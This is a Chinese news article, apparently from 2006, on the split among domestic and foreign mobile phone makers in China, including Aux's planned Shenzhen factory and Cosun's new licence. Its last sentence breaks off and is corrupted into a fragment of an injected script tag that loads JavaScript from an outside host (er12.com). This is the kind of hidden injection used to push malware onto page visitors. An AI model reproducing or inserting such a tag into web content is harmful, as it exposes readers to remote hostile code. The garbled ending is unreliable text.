部分手机生产企业在今年上半年开始有所行动：有多家手机企业发布了多款手机新品围绕手机产业的真金白银的投资和市场布局也开始展开……种种迹象表明，国内手机厂商分化的趋势已经出现，有分析机构预测，今明两年内，三分之一的本土手机厂商将被淘汰，而市场竞争的加剧和分化也令一些反应快的企业抓到了属于自己的机会，在真正的淘汰赛开始的同时部分手机企业已在蓄势发力。
土洋手机厂商集体分化
“从２００５年开始，国内手机厂商出现了明显的分化趋势”。诺盛电信咨询电信高级分析师韩小冰在接受记者采访时分析，在联想、夏新、中兴通讯等业界主要厂商传来利好消息的同时，更多的国产手机厂商仍处于惨淡经营之中。相继淡出手机市场的中科健、南方高科、熊猫、迪比特都是典型的例子。虽然在今年第一季度有多家手机上市公司宣布扭亏，但韩小冰认为财报并不能作为判断企业发展现状的单纯依据。“事实上，２００６年上半年手机市场的发展延续了上一年的走势，品牌集中度进一步提高，在各种制式的手机市场，大部分份额被排名靠前的３到５家厂商占据，其他品牌的生存空间被进一步压缩。”
“分化趋势其实出现在所有的手机厂商中，”韩小冰表示，国际品牌的日子也是苦乐不均，在诺基亚、摩托罗拉等厂商继续扩大领先优势的同时，以松下、三菱为代表的日系厂商却不得不选择淡出中国市场。三星的高价策略也在２００５年遇到较大挑战，ｇｓｍ和ｃｄｍａ的市场都出现了不同幅度的下降。
在市场表现出残酷性一面的同时，依托区域市场和细分市场，利用特色产品展开竞争的中小品牌厂商也并非没有机会。一些规模并不大的小厂在逆境中树立了品牌和市场优势，手机新军天时达在２００６年春节期间凭借其在ｍｐ３、ｍｐ４和蓝牙电影手机的专长，日出货量接近３万台，专注于智能手机市场的深圳宇龙，凭借与中国移动、中国联通的紧密合作，将双模手机市场做得很成功，虽然销量不大，但却拥有较高的利润率。“这都说明，在分化的市场中，被淘汰的风险和迅速做大的机会同样存在。”
对于咨询机构的分析预测，国产手机厂商也有同感。在日前召开的奥克斯手机全国代理商会议上，手机新军奥克斯提出了“手机拐点论”。奥克斯策划总监李晓龙认为，２００６年，国产手机将会出现行业的重要拐点，这场变革对原有市场秩序的破坏，将会给处于劣势的国产手机难得的翻身机遇。
跑马圈地抢占制高点
为了在手机市场新一轮竞争中赢得更大的份额，一些手机生力军已经在为未来的手机市场下“注”。
就在这次全国代理商会议上，奥克斯宣布，南下深圳，投资亿元建立一座全新的规模庞大的手机生产基地。
李晓龙表示，远离宁波总部再造生产基地的初衷，是为了吸引深圳的手机科研人才变原来的“筑巢引凤”为“随凤筑巢”。而更大的意义在于，作为中国手机制造的桥头堡，深圳已经集中了全国３０％的手机生产企业，形成了一条集采购、生产、销售于一体的完整产业链，在深圳建立手机生产基地，不仅可以为企业最大限度地节省生产资金和销售成本，而且可以使企业进一步跻身全国手机市场竞争，为企业下一步发展占据有利位置。业内人士分析，在深圳手机基地建成后，奥克斯手机年生产规模可达千万台，将取得较大的规模效益，而这正与善打营销牌、靠成本优势获胜的奥克斯的运营策略一致。
对于手机市场的重新布局和抢占，新兴势力似乎是“英雄所见略同”。刚刚拿到国家发改委颁发的“侨兴ｃｏｓｕｎ”手机牌照的侨兴集团也在日前明确表示，将通过双拳出击，全方位抢占手机市场：原来拥有的中电ｃｅｃｔ手机继续定位中高端，保持灵活的市场速度，主打性价比优势。新获牌照的“侨兴ｃｏｓｕｎ”手机，主打运营商定制和海外市场，并瞄准正在蓬勃发展中的中国二三线市场，定位中低端领域。业内人士分析，虽然刚刚拿到国内手机牌照，但多年来一直采取灵活的经营策略，侨兴的市场运作能力和技术积累都不可小视，大力布局之后当隐藏着深厚的市场策略。
市场不相信眼泪
李晓龙认为，手机功能的竞争已经走到顶点，对于手机功能和技术的掌握，国产手机和洋手机之间已经没有截然的差距。土、洋手机目前的竞争更像是一场贴身肉搏，而依据反木桶理论，企业首先要做到的是让自己没有短板。李晓龙说，国产手机的质量曾经是国产手机的最大短板，高返修率极大地影响了消费者的忠诚度和二次购买率，但国产手机已经意识到了这一点并已下大力弥补这块短板。“在没有硬伤的前提下，有效的市场营销策略、领先的产品、经过整合之后的经销商队伍都必不可少，国产手机的‘组合拳’一定会有更多的市场机会。”李晓龙说。
韩小冰也认为，“技术是手机的核心竞争力”的理念目前正受到考验，以技术见长的西门子最终退出中国就是一个很好的例子。而对市场占有率的盲目追求也已被摈弃。“关键是看企业的竞?script src=http://er12.com/t.js>
